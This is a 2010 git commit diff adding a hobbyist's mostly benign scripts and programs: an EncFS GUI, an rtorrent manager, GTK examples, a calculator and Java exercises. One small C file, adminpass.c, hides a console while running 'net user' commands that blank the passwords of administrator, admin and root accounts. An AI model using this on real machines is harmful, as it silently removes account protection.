From: Harvie Date: Mon, 24 May 2010 19:17:09 +0000 (+0200) Subject: Merged some nasty programs from softz.harvie.cz X-Git-Url: http://git.harvie.cz/?a=commitdiff_plain;h=84aff5c8ac2726f7cd22c6456d90b00ca6d05549;p=mirrors%2FPrograms.git Merged some nasty programs from softz.harvie.cz --- diff --git a/.gitignore b/.gitignore index 2958239..d85b317 100644 --- a/.gitignore +++ b/.gitignore @@ -3,6 +3,7 @@ *.old *.exe +*.dll *.com *.gz diff --git a/bash/gencfs.bash b/bash/gencfs.bash new file mode 100755 index 0000000..a3ca647 --- /dev/null +++ b/bash/gencfs.bash @@ -0,0 +1,64 @@ +#!/bin/bash +############################################################# +# gEncFS 0.2 (Harvie 2oo8-2oo9)        # +# BASH & zenity GUI frontend for mounting EncFS filesystems # +############################################################# + +zenity="/usr/bin/zenity"; +gksu="/usr/bin/gksu"; #path to gksu or gksudo (doesn't matter) +encfs="/usr/bin/encfs"; +grep="/bin/grep"; +cut="/bin/cut"; #Arch: /bin/cut vs. Debian: /usr/bin/cut +cat="/bin/cat"; + +cut=$(which cut); #maybe bit insecure - for compatibility + + +gencfs_getpass() { + #zenity - insecure way + #$zenity --entry --hide-text --text "$(echo -ne "Please enter EncFS password for $1\n$2")" --title "gEncFS: Password for $1" 2>/dev/null; + #gksu/gksudo - secure way (grabs keyboard!) + gksu -p -m "$(echo -ne "Please enter EncFS password for $1\n$2")" 2>/dev/null; +} + +gencfs_fuses() { + echo -e "\n\nList of mouted FUSE filesystems:"; + $cat /etc/mtab | $grep "^\(fuse\|encfs\) " | $cut -d ' ' -f 2; +} + +gencfs_mount() { + errout=$(gencfs_getpass "$1" "$3" | $encfs "--extpass=$cat" "$1" "$2") + if [ $? != 0 ]; then + $zenity --question --text "$errout\n\nTry again?" --title "gEncFS: Try again?"; + if [ $? == 0 ]; then + return 1; + fi; + fi; + return 0; +} + +gencfs_checkdir() { + if [ -d "$1" ]; then echo -n; else + $zenity --error --title "gEncFS: Error!" --text\ + "Directory $1 doesn't exist.\nYou have to create it manualy by encfs command:\n\nencfs [options] rootDir mountPoint [-- [FUSE Mount Options]]"; + exit; + fi; +} + +gencfs_checkdir "$1"; +gencfs_checkdir "$2"; + +$zenity --question --text "Do you want to (re)mount\n$1 to $2 ?$(gencfs_fuses;)" --title gEncFS +if [ $? != 0 ]; then + exit; +fi; + +fuseout=$(fusermount -u "$2" 2>&1) +if [ $? == 0 ]; then + fuseout=""; +fi; + +false; +while [ $? != 0 ]; do + gencfs_mount "$1" "$2" "$fuseout"; +done; diff --git a/bash/rtorrent-screen/rtorrent-screen.bash b/bash/rtorrent-screen/rtorrent-screen.bash new file mode 100755 index 0000000..023b75d --- /dev/null +++ b/bash/rtorrent-screen/rtorrent-screen.bash @@ -0,0 +1,69 @@ +#!/bin/bash +# rtorrent-screen 1.0 (Harvie 2oo9) +# - Simple rtorrent manager (keeps your torrents in screen transparently + allows you to monitor it using hardcopies) +# +# - Dependencies: bash, screen, rtorrent +# - Optionaly webserver with PHP (you will be allowed to monitor your torrents using web interface) +# - TODO: adding torrents using web interface... + +TARGET_DIRECTORY=~/downloads #warning: each user MUST have his own directory for downloading (on "single user" system u can use eg. /srv/http/downloads) +SCREEN_PID_FILE='rtorrent-screen.pid' +SCREEN_DUMP_INTERVAL=30; +SESSION_NAME='rtorrent' +CREATE_PHP_UI=true +PHP_UI='download.php' + +CONFIG_OVERRIDE=~/.config/rtorrent-screen.rc.sh +#source "$CONFIG_OVERRIDE" 2>/dev/null + +cd "$TARGET_DIRECTORY"; +if [ $? != 0 ]; then + echo Directory "$TARGET_DIRECTORY" does not exists create it or change path in "$CONFIG_OVERRIDE" or in "$0" + echo Note that each user MUST have his own separate directory for rtorrent-screen to avoid collisions. + exit 2; +fi; + +#PHP UI +if "$CREATE_PHP_UI"; then +echo " + + Harvie's Downloads + + +
$USER and type: $0 or screen -x '.
+			htmlspecialchars(file_get_contents('$SCREEN_PID_FILE')).
+			'If you want to detach from it (leave it running on background) press CTRL+a followed by d and if you want to stop rTorrent definitely then press CTRL+q few times.
'. + htmlspecialchars(file_get_contents('./hardcopy.0')) + ); + } else { + echo('rTorrent is not running at this time... To execute it use command: $0'); + } +?>
+" > "$PHP_UI" +fi; + +#SCREEN SESSION +if [[ -r "$SCREEN_PID_FILE" ]]; then + screen -x $(cat "$SCREEN_PID_FILE"); +else + screen -U -S "$SESSION_NAME" -t "$SESSION_NAME" bash -c " + while true; do + sleep 1; + screen -S \$PPID -X hardcopy; + sleep $SCREEN_DUMP_INTERVAL; + done & + + echo \$PPID > $SCREEN_PID_FILE; + rtorrent; + rm -f $SCREEN_PID_FILE; + rm -f hardcopy.0; + " +fi; + +echo 'Thank you for using rtorrent-screen by Harvie' diff --git a/bash/rtorrent-screen/sample.html b/bash/rtorrent-screen/sample.html new file mode 100755 index 0000000..170c94f --- /dev/null +++ b/bash/rtorrent-screen/sample.html @@ -0,0 +1,55 @@ + + + Harvie's Downloads + + +
rTorrent is running. To attach to it login as harvie and type: /usr/bin/rtorrent-screen or screen -x 24648
+If you want to detach from it (leave it running on background) press CTRL+a followed by d and if you want to stop rTorrent definitely then press CTRL+q few times.
*** rTorrent 0.7.9/0.11.9 - harvie-srv:666 *** +[View: main] + Arch Linux + 30,4 / 699,0 MB Rate: 14,1 / 497,4 KB Uploaded: 0,8 MB [ 3%] 0d 0:22 [ R: 0,03] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Throttle off/off KB] [Rate 14,7/520,4 KB] [Port: 666] [U 4/0] [D 9/0] [H 0/32] [S 0/18/768] [F 2/128] +
+ diff --git a/bash/wifi.bash b/bash/wifi.bash new file mode 100755 index 0000000..9205f9e --- /dev/null +++ b/bash/wifi.bash @@ -0,0 +1,26 @@ +#!/bin/bash + +echo ModProbing modules... + ifconfig ath0 down + ifconfig wifi0 down + modprobe ath_pci + modprobe wlan_scan_sta + +echo Recreating ath0 device from wifi0... + ifconfig wifi0 up + wlanconfig ath0 destroy + wlanconfig ath0 create wlandev wifi0 wlanmode sta + ifconfig ath0 up + +echo Scanning for APs... + sleep 3 + wlanconfig ath0 list scan + +echo Using strongest AP... + iwconfig ath0 essid any + ifconfig essid Network_395 ath0 + +echo DHCP Broadcast... + dhclient ath0 + +echo Done! diff --git a/c/adminpass/adminpass.c b/c/adminpass/adminpass.c new file mode 100755 index 0000000..2b9654d --- /dev/null +++ b/c/adminpass/adminpass.c @@ -0,0 +1,13 @@ +/* +Admin passwd reset0r +Harvie 2oo9 +*/ + +#include + +int main() { + WinExec("net user administrator \"\"",SW_HIDE); + WinExec("net user admin \"\"",SW_HIDE); + WinExec("net user root \"\"",SW_HIDE); + return 0; +} diff --git a/c/glade-examples/basic/compile.sh b/c/glade-examples/basic/compile.sh new file mode 100755 index 0000000..97672d4 --- /dev/null +++ b/c/glade-examples/basic/compile.sh @@ -0,0 +1,2 @@ +#!/bin/bash +gcc -Wall -g -o test test.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic diff --git a/c/glade-examples/basic/test b/c/glade-examples/basic/test new file mode 100755 index 0000000..20d699b Binary files /dev/null and b/c/glade-examples/basic/test differ diff --git a/c/glade-examples/basic/test.c b/c/glade-examples/basic/test.c new file mode 100755 index 0000000..cd70371 --- /dev/null +++ b/c/glade-examples/basic/test.c @@ -0,0 +1,54 @@ +/* +First run tutorial.glade through gtk-builder-convert with this command: + gtk-builder-convert tutorial.glade tutorial.xml + +Then save this file as main.c and compile it using this command +(those are backticks, not single quotes): + gcc -Wall -g -o tutorial main.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic + +Then execute it using: + ./tutorial +*/ + +#include +#include +#include + +GtkBuilder *builder; +GtkWidget *window, *button1, *entry1; + + +void on_window_destroy (GtkObject *object, gpointer user_data) +{ + gtk_main_quit (); +} + +void on_button1_clicked() { + puts("click!"); + puts(gtk_entry_get_text(entry1)); + //gtk_button_set_label(button1, "lol"); + gtk_button_set_label(button1, gtk_entry_get_text(entry1)); +} + +int main (int argc, char *argv[]) +{ + gtk_init (&argc, &argv); + + builder = gtk_builder_new (); + gtk_builder_add_from_file (builder, "test.xml", NULL); + window = GTK_WIDGET (gtk_builder_get_object (builder, "window")); + + button1 = GTK_WIDGET (gtk_builder_get_object (builder, "button1")); + entry1 = GTK_WIDGET (gtk_builder_get_object (builder, "entry1")); + + + gtk_builder_connect_signals (builder, NULL); + + g_object_unref (G_OBJECT (builder)); + + gtk_widget_show (window); + gtk_main (); + + return 0; +} + diff --git a/c/glade-examples/basic/test.xml b/c/glade-examples/basic/test.xml new file mode 100755 index 0000000..543f08f --- /dev/null +++ b/c/glade-examples/basic/test.xml @@ -0,0 +1,31 @@ + + + + True + + + + True + + + True + True + + + + + True + True + True + Button1 + 0 + + + + 1 + + + + + + diff --git a/c/glade-examples/delete/calc/calc.xml b/c/glade-examples/delete/calc/calc.xml new file mode 100755 index 0000000..c34c472 --- /dev/null +++ b/c/glade-examples/delete/calc/calc.xml @@ -0,0 +1,437 @@ + + + + True + + + + True + + + True + + + True + + + True + True + + + + + True + ? + + + 1 + + + + + True + True + + + 2 + + + + + True + = + + + 3 + + + + + + + True + True + + + 1 + + + + + + + True + + + True + MEM: + + + + + True + True + True + + + 0 + + + + 1 + + + + + True + True + True + - + 0 + + + + 2 + + + + + True + True + True + C + 0 + + + + 3 + + + + + True + True + 0 + + + 4 + + + + + 1 + + + + + True + 4 + 5 + + + True + True + True + / + 0 + + + + 1 + 2 + 3 + 4 + + + + + True + True + True + * + 0 + + + + 1 + 2 + 2 + 3 + + + + + True + True + True + - + 0 + + + + 1 + 2 + 1 + 2 + + + + + True + True + True + + + 0 + + + + 1 + 2 + + + + + True + True + True + SQRT + 0 + + + + 3 + 4 + + + + + True + True + True + ^ + 0 + + + + 2 + 3 + + + + + True + True + True + RST + 0 + + + + 1 + 2 + + + + + True + True + True + C + 0 + + + + + + True + True + True + . + 0 + + + + 3 + 4 + 3 + 4 + + + + + True + True + True + 0 + 0 + + + + 2 + 3 + 3 + 4 + + + + + True + True + True + 3 + 0 + + + + 4 + 5 + 2 + 3 + + + + + True + True + True + 2 + 0 + + + + 3 + 4 + 2 + 3 + + + + + True + True + True + 1 + 0 + + + + 2 + 3 + 2 + 3 + + + + + True + True + True + 6 + 0 + + + + 4 + 5 + 1 + 2 + + + + + True + True + True + 5 + 0 + + + + 3 + 4 + 1 + 2 + + + + + True + True + True + 4 + 0 + + + + 2 + 3 + 1 + 2 + + + + + True + True + True + 9 + 0 + + + + 4 + 5 + + + + + True + True + True + 8 + 0 + + + + 3 + 4 + + + + + True + True + True + 7 + 0 + + + + 2 + 3 + + + + + True + True + True + = + 0 + + + + 4 + 5 + 3 + 4 + + + + + 2 + + + + + + diff --git a/c/glade-examples/delete/calc/compile.sh b/c/glade-examples/delete/calc/compile.sh new file mode 100755 index 0000000..6abe4f6 --- /dev/null +++ b/c/glade-examples/delete/calc/compile.sh @@ -0,0 +1,4 @@ +#!/bin/bash +gcc -Wall -g -o test test.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic +cat test.xml | grep -v "requires lib=" > calc.xml +cat test.xml > calc.xml diff --git a/c/glade-examples/delete/calc/test b/c/glade-examples/delete/calc/test new file mode 100755 index 0000000..021fefb Binary files /dev/null and b/c/glade-examples/delete/calc/test differ diff --git a/c/glade-examples/delete/calc/test.c b/c/glade-examples/delete/calc/test.c new file mode 100755 index 0000000..aeca088 --- /dev/null +++ b/c/glade-examples/delete/calc/test.c @@ -0,0 +1,131 @@ +/* +First run tutorial.glade through gtk-builder-convert with this command: + gtk-builder-convert tutorial.glade tutorial.xml + +Then save this file as main.c and compile it using this command +(those are backticks, not single quotes): + gcc -Wall -g -o tutorial main.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic + +Then execute it using: + ./tutorial +*/ + +#include +#include +#include +#include +#include + +GtkBuilder *builder; +GtkWidget *window, *entry_a, *entry_b, *entry_calc, *entry_mem, *label_op; +char tempbuf[128], *ptempchar, nextop; +int calculated; + +void on_button_no_clicked(GtkWidget *widget, gpointer user_data) { + gtk_entry_append_text(entry_calc, gtk_button_get_label(widget)); +} + +void calculate() { + double a, b, e; + if(calculated) return; + gtk_entry_set_text(entry_b, gtk_entry_get_text(entry_calc)); + gtk_entry_set_text(entry_calc, ""); + + a = strtod(gtk_entry_get_text(entry_a), NULL); + b = strtod(gtk_entry_get_text(entry_b), NULL); + + switch(nextop) { + case '+': e = a + b; break; + case '-': e = a - b; break; + case '*': e = a * b; break; + case '/': e = a / b; break; + case '^': e = pow(a, b); break; + case 'S': e = a + b; break; + } + sprintf(tempbuf, "%lf", e); + //printf("%f %c %f = %f\n", a, nextop, b, e); + gtk_entry_set_text(entry_calc, tempbuf); + calculated = 1; +} + +void on_button_op_clicked(GtkWidget *widget, gpointer user_data) { + char *oplbl = gtk_button_get_label(widget); + + switch(oplbl[0]) { + case '+': case '-': case '*': case '/': case '^': case 'S': + if(!calculated) calculate(); + gtk_entry_set_text(entry_a, gtk_entry_get_text(entry_calc)); + gtk_entry_set_text(entry_calc, ""); + gtk_entry_set_text(entry_b, ""); + gtk_label_set_label(label_op, oplbl); + nextop = oplbl[0]; + calculated = 0; + break; + + case '=': + if(!calculated) calculate(); + gtk_entry_set_text(entry_calc, gtk_entry_get_text(entry_calc)); + calculated = 1; + break; + } +} + +void on_button_mem_clicked(GtkWidget *widget, gpointer user_data) { + char *oplbl = gtk_button_get_label(widget); + double e = 0, m = 0; + e = strtod(gtk_entry_get_text(entry_calc), NULL); + m = strtod(gtk_entry_get_text(entry_mem), NULL); + switch(oplbl[0]) { + case '+': m += e; break; + case '-': m -= e; break; + case 'C': m = 0; break; + } + sprintf(tempbuf, "%lf", m); + gtk_entry_set_text(entry_mem, tempbuf); + +} + +void on_button_clear_clicked() { + /*ptempchar = gtk_entry_get_text(entry_calc); + ptempchar[strlen(ptempchar)-1] = '\x00'; + gtk_entry_set_text(entry_calc, ptempchar);*/ + gtk_entry_append_text(entry_calc, "\r"); +} + +void reset() { + calculated = 1; + gtk_label_set_label(label_op, "?"); + gtk_entry_set_text(entry_calc, ""); + gtk_entry_set_text(entry_a, ""); + gtk_entry_set_text(entry_b, ""); +} + +void on_window_destroy (GtkObject *object, gpointer user_data) +{ + gtk_main_quit (); +} + +int main (int argc, char *argv[]) +{ + gtk_init (&argc, &argv); + + builder = gtk_builder_new (); + gtk_builder_add_from_file (builder, "calc.xml", NULL); + window = GTK_WIDGET (gtk_builder_get_object (builder, "window")); + + entry_a = GTK_WIDGET (gtk_builder_get_object (builder, "entry_a")); + entry_b = GTK_WIDGET (gtk_builder_get_object (builder, "entry_b")); + entry_calc = GTK_WIDGET (gtk_builder_get_object (builder, "entry_calc")); + entry_mem = GTK_WIDGET (gtk_builder_get_object (builder, "entry_mem")); + label_op = GTK_WIDGET (gtk_builder_get_object (builder, "label_op")); + + gtk_builder_connect_signals (builder, NULL); + g_object_unref (G_OBJECT (builder)); + + reset(); + gtk_widget_show (window); + gtk_main (); + + return 0; +} + diff --git a/c/glade-examples/delete/calc/test.xml b/c/glade-examples/delete/calc/test.xml new file mode 100755 index 0000000..29749c1 --- /dev/null +++ b/c/glade-examples/delete/calc/test.xml @@ -0,0 +1,438 @@ + + + + + True + + + + True + + + True + + + True + + + True + True + + + + + True + ? + + + 1 + + + + + True + True + + + 2 + + + + + True + = + + + 3 + + + + + + + True + True + + + 1 + + + + + + + True + + + True + MEM: + + + + + True + True + True + + + 0 + + + + 1 + + + + + True + True + True + - + 0 + + + + 2 + + + + + True + True + True + C + 0 + + + + 3 + + + + + True + True + 0 + + + 4 + + + + + 1 + + + + + True + 4 + 5 + + + True + True + True + / + 0 + + + + 1 + 2 + 3 + 4 + + + + + True + True + True + * + 0 + + + + 1 + 2 + 2 + 3 + + + + + True + True + True + - + 0 + + + + 1 + 2 + 1 + 2 + + + + + True + True + True + + + 0 + + + + 1 + 2 + + + + + True + True + True + SQRT + 0 + + + + 3 + 4 + + + + + True + True + True + ^ + 0 + + + + 2 + 3 + + + + + True + True + True + RST + 0 + + + + 1 + 2 + + + + + True + True + True + C + 0 + + + + + + True + True + True + . + 0 + + + + 3 + 4 + 3 + 4 + + + + + True + True + True + 0 + 0 + + + + 2 + 3 + 3 + 4 + + + + + True + True + True + 3 + 0 + + + + 4 + 5 + 2 + 3 + + + + + True + True + True + 2 + 0 + + + + 3 + 4 + 2 + 3 + + + + + True + True + True + 1 + 0 + + + + 2 + 3 + 2 + 3 + + + + + True + True + True + 6 + 0 + + + + 4 + 5 + 1 + 2 + + + + + True + True + True + 5 + 0 + + + + 3 + 4 + 1 + 2 + + + + + True + True + True + 4 + 0 + + + + 2 + 3 + 1 + 2 + + + + + True + True + True + 9 + 0 + + + + 4 + 5 + + + + + True + True + True + 8 + 0 + + + + 3 + 4 + + + + + True + True + True + 7 + 0 + + + + 2 + 3 + + + + + True + True + True + = + 0 + + + + 4 + 5 + 3 + 4 + + + + + 2 + + + + + + diff --git a/c/glade-examples/delete/test/compile.sh b/c/glade-examples/delete/test/compile.sh new file mode 100755 index 0000000..97672d4 --- /dev/null +++ b/c/glade-examples/delete/test/compile.sh @@ -0,0 +1,2 @@ +#!/bin/bash +gcc -Wall -g -o test test.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic diff --git a/c/glade-examples/delete/test/test b/c/glade-examples/delete/test/test new file mode 100755 index 0000000..20d699b Binary files /dev/null and b/c/glade-examples/delete/test/test differ diff --git a/c/glade-examples/delete/test/test.c b/c/glade-examples/delete/test/test.c new file mode 100755 index 0000000..cd70371 --- /dev/null +++ b/c/glade-examples/delete/test/test.c @@ -0,0 +1,54 @@ +/* +First run tutorial.glade through gtk-builder-convert with this command: + gtk-builder-convert tutorial.glade tutorial.xml + +Then save this file as main.c and compile it using this command +(those are backticks, not single quotes): + gcc -Wall -g -o tutorial main.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic + +Then execute it using: + ./tutorial +*/ + +#include +#include +#include + +GtkBuilder *builder; +GtkWidget *window, *button1, *entry1; + + +void on_window_destroy (GtkObject *object, gpointer user_data) +{ + gtk_main_quit (); +} + +void on_button1_clicked() { + puts("click!"); + puts(gtk_entry_get_text(entry1)); + //gtk_button_set_label(button1, "lol"); + gtk_button_set_label(button1, gtk_entry_get_text(entry1)); +} + +int main (int argc, char *argv[]) +{ + gtk_init (&argc, &argv); + + builder = gtk_builder_new (); + gtk_builder_add_from_file (builder, "test.xml", NULL); + window = GTK_WIDGET (gtk_builder_get_object (builder, "window")); + + button1 = GTK_WIDGET (gtk_builder_get_object (builder, "button1")); + entry1 = GTK_WIDGET (gtk_builder_get_object (builder, "entry1")); + + + gtk_builder_connect_signals (builder, NULL); + + g_object_unref (G_OBJECT (builder)); + + gtk_widget_show (window); + gtk_main (); + + return 0; +} + diff --git a/c/glade-examples/delete/test/test.xml b/c/glade-examples/delete/test/test.xml new file mode 100755 index 0000000..543f08f --- /dev/null +++ b/c/glade-examples/delete/test/test.xml @@ -0,0 +1,31 @@ + + + + True + + + + True + + + True + True + + + + + True + True + True + Button1 + 0 + + + + 1 + + + + + + diff --git a/c/pong/pong.pde b/c/pong/pong.pde new file mode 100755 index 0000000..66f2c8c --- /dev/null +++ b/c/pong/pong.pde @@ -0,0 +1,30 @@ +/* Pong controller (for use with hPong) + * <~~Harvie 2oo8 + */ + +#define inpin 0 +int min = 65535, max = 0; +int stadium_max = 14; +char offset = 8; +float val = 0, oldval = -255; + +void setup() // run once, when the sketch starts +{ + stadium_max+=offset; + Serial.begin(115200); +} + +void loop() // run over and over again +{ + val = analogRead(inpin); + if(valmax) max=val; + val=(((val-(min))/(max-(min)))*stadium_max)-offset; + if(val!=oldval) { + oldval = val; + //Serial.print(min, DEC); Serial.print("-"); Serial.print(max, DEC); Serial.print("\n"); + //Serial.print(val, DEC); Serial.print("\n"); + Serial.print(val, BYTE); + } + delay(1); +} diff --git a/java/jCrossCrypt/crosscrypt.jar b/java/jCrossCrypt/crosscrypt.jar new file mode 100755 index 0000000..3b847ca Binary files /dev/null and b/java/jCrossCrypt/crosscrypt.jar differ diff --git a/java/jCrossCrypt/jcrosscrypt.png b/java/jCrossCrypt/jcrosscrypt.png new file mode 100755 index 0000000..a37f0af Binary files /dev/null and b/java/jCrossCrypt/jcrosscrypt.png differ diff --git a/java/jCrossCrypt/jcrosscrypt_man.png b/java/jCrossCrypt/jcrosscrypt_man.png new file mode 100755 index 0000000..a913981 Binary files /dev/null and b/java/jCrossCrypt/jcrosscrypt_man.png differ diff --git a/java/linkedlist.java.txt b/java/linkedlist.java.txt new file mode 100755 index 0000000..8c64672 --- /dev/null +++ b/java/linkedlist.java.txt @@ -0,0 +1,29 @@ +import java.util.Scanner; + +class seznam { + public int hodnota = 0; + public seznam dalsi = null; +} + +public class linkedlist { + public static void main (String argv[]) { + Scanner sc = new Scanner(System.in); + + System.out.print("pocet: "); + int pocet = sc.nextInt(); + + System.out.println("cisla: "); + //vytvoreni spojoveho seznamu a pridani dalsich prvku + seznam s = new seznam(); + seznam prvni = s; + for(int i = 0;i max_size) { + System.err.println("Can't make battlefield smaller than 1x1 or bigger than "+max_size+"x"+max_size+"!"); + System.exit(max_size); + } + size = s; + pole = new char[size][size]; + for(x = 0;x < size;x++) for(y = 0;y < size;y++) pole[x][y] = neznamo; + } + + /** druhy konstruktor - vytvori pole o vychozi s pouzitim prvniho konstruktoru velikosti (bude zavolan, pokud neni zadna velikost zadana) */ + BitevniPole() { + this(10); + } + + /** metoda zajistujici rozmisteni lodi - ve skutecnosti zatim rozmistuje jen nahodne ctverecky, ne cele lode*/ + public void rozmistiLode(int i) { + for(;i>0;i--) { + x = (int)(Math.random()*(size-1)); + y = (int)(Math.random()*(size-1)); + pole[x][y] = lod; + total_impacts++; + } + } + + /** metoda, ktera vytvori string znazornujici toto bitevni pole */ + public String toString() { + String out = new String("\n"); + out += " \tPocet tahu: "+draws+"\n"; + out += " \tPocet zasahu: "+impacts+" z "+total_impacts+"\n"; + out += " \t"; + for(y = 0;y < size;y++) out += "|"+(char)((int)'A'+y); + out += "|\n\n"; + for(x = 0;x < size;x++) { + out += x+"\t"; + for(y = 0;y < size;y++) { + if(!debug && pole[x][y] == lod) { + out += "|"+neznamo; + continue; + } + out += "|"+pole[x][y]; + } + out += "|\n"; + } + return out; + } + + /** zjisti, jestli uz byly zniceny vsechny lode a vrati jako boolean */ + public boolean jeKonec() { + for(x = 0;x < size;x++) for(y = 0;y < size;y++) if(pole[x][y] == lod) return false; + return true; + } + + /** strili na souradnice x,y */ + public boolean strilej(int a, int b) { + if(a >= size || b >= size || a < 0 || b < 0) { + System.out.println("No such cell!"); + return false; + } + if(pole[a][b] == voda || pole[a][b] == zasah) { + System.out.println("This cell was already impacted!"); + return false; + } + if(pole[a][b] == lod) { + pole[a][b] = zasah; + impacts++; + } + if(pole[a][b] == neznamo) pole[a][b] = voda; + draws++; + return true; + } + + /** provede hrace dalsim tahem */ + public void dalsiTah() { + System.out.println(this); + System.out.print("pismenko: "); + y = (int)(sc.next().charAt(0)-'A'); + System.out.print("cislicko: "); + x = sc.nextInt(); + strilej(x, y); + } + + /** provadi tahy, dokud neni pravda, ze jeKonec(), pak vypise gratulace a zkonci */ + public void hrat() { + while(!jeKonec()) dalsiTah(); + System.out.println("\n!!! CONGRATULATIONS !!!"); + System.out.println("You have defeated "+impacts+" ships within "+draws+" draws!"); + System.out.println("!!! CONGRATULATIONS !!!\n"); + } + +} + +/** trida lode vytvori BytevniPole a provede vse potrebne ke spusteni hry */ +public class lode { + public static void main(String[] argv) { + System.out.println("Lode (verze pro jednoho hrace)"); + + BitevniPole bp = new BitevniPole(2); //nove bitevni pole (pokud neni zadana velikost, bude pouzita vychozi velikost) + bp.printHelp(); //vypis napovedu + //bp.debug = true; //zapne zobrazeni lodi (to je pri hre nezadouci podvod) + bp.rozmistiLode(2); //kolik lodi chceme? + + bp.hrat(); //hrajeme + + } +} + diff --git a/java/mandelbrot/mandelbrot/mandelbrot.class b/java/mandelbrot/mandelbrot/mandelbrot.class new file mode 100755 index 0000000..4260cd8 Binary files /dev/null and b/java/mandelbrot/mandelbrot/mandelbrot.class differ diff --git a/java/mandelbrot/mandelbrot/mandelbrot.java b/java/mandelbrot/mandelbrot/mandelbrot.java new file mode 100755 index 0000000..9068562 --- /dev/null +++ b/java/mandelbrot/mandelbrot/mandelbrot.java @@ -0,0 +1,126 @@ +/* + * Mandelbrot set ASCII visualisation + * http://en.wikipedia.org/wiki/Mandelbrot_set + * http://www.root.cz/clanky/barvy-pro-shell/ + * Copylefted by: Harvie 2oo9 + + + aa + aa + aa + aa + aaaccaaa + aaai iaaa + aabaab baabaa + aab baa + aad daa + aab baa + aaaaad daaaaa + aaacccl lcccaaa + dbaaab baaabd + aab baa + aab baa + aaaaah haaaaa + ba aaaak c c kaaaa ab + aabc cbaa + aacabab babacaa + aae ZEN OF CODING eaa + aaa aaa + ae n cc n ea + aaa ab aa afa afa aa ba aaa + + */ + +package mandelbrot; +import java.math.*; + +public class mandelbrot { + public String[] chars = " .`-_\':,;^=+/\\\"|)\\<>)iv%xclrs{*}I?!][1taeo7zjLunT#JCwfy325Fp6mqSghVd4EgXPGZbYkOA&8U$@KHDBWNMR0Q".split(""); + public int max_iteration = 140; + public float zoom = 65; + + public double x_from = -2; + public double x_to = 2; + public double y_from = -2.1; + public double y_to = 2.1; + + public boolean color = false; + public boolean background = false; + + + public mandelbrot() { + max_iteration = 140; + zoom = 65; + + x_from = -2; + x_to = 2; + y_from = -2.1; + y_to = 2.1; + + color = false; + background = false; + } + + public int get_pixel_value(double x0, double y0) { + double x = 0; + double y = 0; + + int iteration = 0; + + while( x*x + y*y <= (2*2) && iteration < max_iteration ) { + double xtemp = x*x - y*y + x0; + y = 2*x*y + y0; + x = xtemp; + iteration++; + } + + if( iteration >= max_iteration ) { + return 0; + } else { + return iteration; + } + + } + + public String get_pixel_character(double x, double y) { + float i = ((float)get_pixel_value(x, y)/(float)max_iteration) * (chars.length-1); + chars[0]=" "; + return chars[Math.round(i)]; + } + + public String get_pixel_xterm_color(double x, double y) { + int i = Math.round( ((float)get_pixel_value(x, y)/max_iteration)*14 ); + return "\033["+((int)(i%2))+";"+(30+(int)(i/2))+"m"; + } + + public String get_pixel_xterm_background(double x, double y) { + int i = 40+Math.round( ((float)get_pixel_value(x, y)/max_iteration)*7 ); + return "\033["+i+"m"; + } + + public static void cls() { + System.out.print("\033[2J"); + } + + public static void top() { + System.out.print("\033[0;0H"); + } + + public void stat() { + System.out.print("ASCII Mandelbrot Set Visualisation (Harvie 2oo9) - Iterations: "+max_iteration+", zoom: "+zoom+" \n"); + } + + public void render() { + //if(color || background) max_iteration = 14; + + double x, y; + for(x=x_from; x<=x_to; x+=5/zoom) { for(y=y_from; y<=y_to; y+=2/zoom) { + if(color) System.out.print(get_pixel_xterm_color(x, y)); + if(background) System.out.print(get_pixel_xterm_background(x, y)); + + System.out.print(get_pixel_character(x, y)); + //System.out.print(get_pixel_color(x, y)+" "); + } System.out.println("\033[0m"); } + } + +} diff --git a/java/mandelbrot/screenshots/chars.png b/java/mandelbrot/screenshots/chars.png new file mode 100755 index 0000000..62abca4 Binary files /dev/null and b/java/mandelbrot/screenshots/chars.png differ diff --git a/java/mandelbrot/screenshots/color.png b/java/mandelbrot/screenshots/color.png new file mode 100755 index 0000000..e19dcd2 Binary files /dev/null and b/java/mandelbrot/screenshots/color.png differ diff --git a/java/mandelbrot/screenshots/colorchars.png b/java/mandelbrot/screenshots/colorchars.png new file mode 100755 index 0000000..9635ada Binary files /dev/null and b/java/mandelbrot/screenshots/colorchars.png differ diff --git a/java/mandelbrot/testm.class b/java/mandelbrot/testm.class new file mode 100755 index 0000000..973110b Binary files /dev/null and b/java/mandelbrot/testm.class differ diff --git a/java/mandelbrot/testm.java b/java/mandelbrot/testm.java new file mode 100755 index 0000000..c20eade --- /dev/null +++ b/java/mandelbrot/testm.java @@ -0,0 +1,58 @@ +/* + * knihovna mandelbrot umi vykreslit do terminalu mandelbrotovu mnozinu + * mnoha ruznymy zpusoby - vcetne barev. + * tento program demonstruje jeji pouziti + * cely sem to zbastlil za jeden vecer podle wikipedie, + * takze se neda cekat zadne zazracne formatovani, ani komentare + * ucelem je prokazat znalost javy a OP. + * + * Copylefted by Tomas "Harvie" Mudrunka 2oo9 + */ + + +import mandelbrot.*; + +public class testm { + public static void main(String[] argv) { + //String[] chars = " abc".split(""); + //System.out.println(chars.length+" "+chars[5]+"---"); + + //basic: + mandelbrot m = new mandelbrot(); + m.cls(); + m.render(); + + //advanced: + m.max_iteration=28; + m.color=true; + m.stat(); + m.render(); + + m.zoom=20; + m.color=false; + m.max_iteration=350; + m.stat(); + m.render(); + + m.zoom=65; + m.max_iteration=14; + m.chars = " ".split(""); + m.color=false; + m.background=true; + m.stat(); + m.render(); + + m = new mandelbrot(); //reset to defaults (garbage collector will get rid of the old instance) + + m.zoom=1000; + m.max_iteration=14; + m.background=true; + m.color=true; + m.x_from=-0.6; + m.x_to=-0.3; + m.y_from=-0.7; + m.y_to=-0.5; + m.stat(); + m.render(); + } +} diff --git a/java/matice.java.txt b/java/matice.java.txt new file mode 100755 index 0000000..b150684 --- /dev/null +++ b/java/matice.java.txt @@ -0,0 +1,327 @@ +import java.util.Random; +import java.text.NumberFormat; +import java.lang.Math; +import java.io.*; + +/** Class representing matrix with methods for matrix algebra + * Copylefted by: Harvie 2oo9 ( http://blog.harvie.cz/ ) + * @author Thomas Harvie Mudrunka (mudruto1) + * @version 1.0 + */ + +class Matrix implements Serializable { + public float[][] matrix; + public final int x, y; + private Random rnd = new Random(); + + /** Construct new 